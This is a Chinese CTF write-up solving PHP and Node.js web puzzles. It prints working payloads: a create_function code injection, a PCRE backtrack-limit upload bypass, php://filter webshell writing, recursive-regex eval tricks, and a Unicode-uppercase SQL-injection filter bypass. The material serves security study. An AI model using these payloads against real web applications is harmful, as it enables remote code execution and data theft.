Code-Breaking-Puzzles WriteUp

Code-Breaking-Puzzles WriteUp

最近终于可以忙里偷闲来做一下P神的题目,真的能学到不少东西,对底层的一些漏洞知识学习很有帮助。感谢网上已经有好多版本的wp可以提供参考,有一些知识实在是盲区。写一些笔记,不笱求与师傅们观点相异,如果能让看文章的人更能理解这些洞点,也算是我的荣幸了。

easy - function

不得不说P神的代码简洁又暴力

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

这里??是php7+的用法,$_GET[‘action’]非空则 $action = $_GET[‘action’]

应该是利用action做函数名来执行命令,但$action的首尾做了正则限制,不能直接是函数名。

P神小密圈说到的方式用\可以绕过。原因就是\funciton是php原生函数的写法,就是以命名空间+函数名的方法来表示函数。而原生函数的命名空间是”"。这种用法倒是在tp框架里见过,当调用一个类的时候会指明命名空间”\think\db”。虽然很无感命名空间的说法,但是感觉和java里的package类似

接着就是调用Create_function函数来代码注入了,具体原理参考:http://blog.51cto.com/lovexm/1743442

直接上Poc:
action=create_function&arg=;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));//

别忘了注释//,否则逃脱不了函数

easy - pcrewaf

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

逻辑

又是一段粗暴的代码。逻辑很清晰:上传文件->检测是否包含php语句->否->跳转到上传的文件

很明显应该是preg_match的洞点,但是当时并不知道具体突破的思路,看了一些文章才知道,原来php用的是PCRE库的。那么什么是PCRE和NFA正则引擎?

PCRE

PCRE(Perl Compatible Regular Expressions中文含义:perl语言兼容正则表达式)是一个用C语言编写的正则表达式函数库

NFA引擎

**NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态**

分析

NFA其实就像是用栈的结构来存储匹配成功的字符串,如果匹配不到下一个,则出栈进行上一个字符串匹配。就拿这段正则语句来说

preg_match('/<\?.*[(`;?>].*/is', $data)

如果我们输入<?php print;abcd

那么它匹配的流程应该是这样的:
<?php print;abc
<?php print;ab
<?php print;a
<?php print;
<?php print;abcd

.*会把?后的所有字符都先匹配到,发现没有[]里面的这些字符后再进行回溯。但是PHP为了防止回溯次数过多,发生拒绝服务,会有一个回溯限制

引用kk师傅的一张图:

5.2以后的版本回溯次数是1000000,超过这个次数还没有匹配到,则会返回false

POC

既然是弱类型比较,我们就用false来等价null绕过

<?php
$f = fopen("poc.txt", "w");
$msg = "<?php print_r(scandir('../'));?>".str_repeat("A",1000000);
fwrite($f,$msg);
fclose($f);

构造个上传表单完事

这也提醒我们,正确使用preg_match的重要性,用强类型等于避免很多不安全因素

phpmagic

这个题真的发现很多知识碎片

php://filter

首先聊聊filter的妙用。以前见到的情况和套路都是include()、file_get_contents()的参数可控,我们用php://filter/read配合base64-encode可以把文件编码成base64后输出。没想到file_put_contents文件名可控时也有magic

当我们可控的文件名$file传入参数php://filter/write=convert.base64-decode/resource=shell.php,$text传入this is test时,file_put_contents($file,$text)执行的内容如下:

可以把写入的文本进行base64编码,而且可以指定写入的文件名shell.php。其实这个用处还挺多的,比如将可控文本Base64编码,用伪协议写入文件的时候再decode,就能绕过后端正则对可控文本php危险语句检测的过滤

审计

关键代码

$output会被转义后输入到可控文本,用上面的思路在写入文本的时候base64-decode就能绕过,注意用Host拼接$log_name。

至于绕过后缀名,这两天做工程实践的时候恰好用到了p师傅关于apache的x0a后缀解析为php的文件上传绕过,具体思路:https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715

poc如下

php limit

这道题依然简单粗暴,代码如下

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

刚开始不清楚正则里(?R)的用法,看了别人的WP才知道这是PCRE的正则递归。在这道题里,就是按照递归的方式一直匹配/[^\W]+\((?R)?\)/,看下面这个例子

在匹配完b()之后,由于匹配不到[^\W],正则就停止了。所以这里的代码执行点就是:嵌套函数且最后一个函数不能用参数值

有的师傅们用了get_defined_vars()获取http请求头。其实这个之前在打awd时上流量监控部分用到过,appache可以用getallheaders()来获取http头,但是nginx没有这个函数,可以用了get_defined_vars(),通过current()、next()进而选择可控参数,poc如下

Nodejs魔法

Koa框架写的登陆页面,入库的语句都写出来了

看到这一步很关键,因为忘了看flag在哪个表里,后面浪费了很多时间

继续看到登陆的逻辑

传入的username&&password非空,并且经过safe函数过滤后带入查询,如果有结果则设定session为查询结果

##分析
一开始绕safe就饶了好久,尝试了各种注释。最后l0cal师傅提醒,在js里toUpperCase()是可以用拉丁文的unicode绕过的,例如"ſ".toUpperCase()<=>"S""ı".toUpperCase()<=>"I"

那么select 和 union 都可以绕过

一开始想多了,一直在盲注,根据时候有session判断查询的真假,结果好多东西都绕不过去,而且没看代码还在傻乎乎的测表名,十分愚蠢

有好多语句都会500,估计是云服务做了限制。。到最后发现把用户名和密码置空,后面用union查询flag,那设置的session不就是flag么。。

真的是太菜了

not found!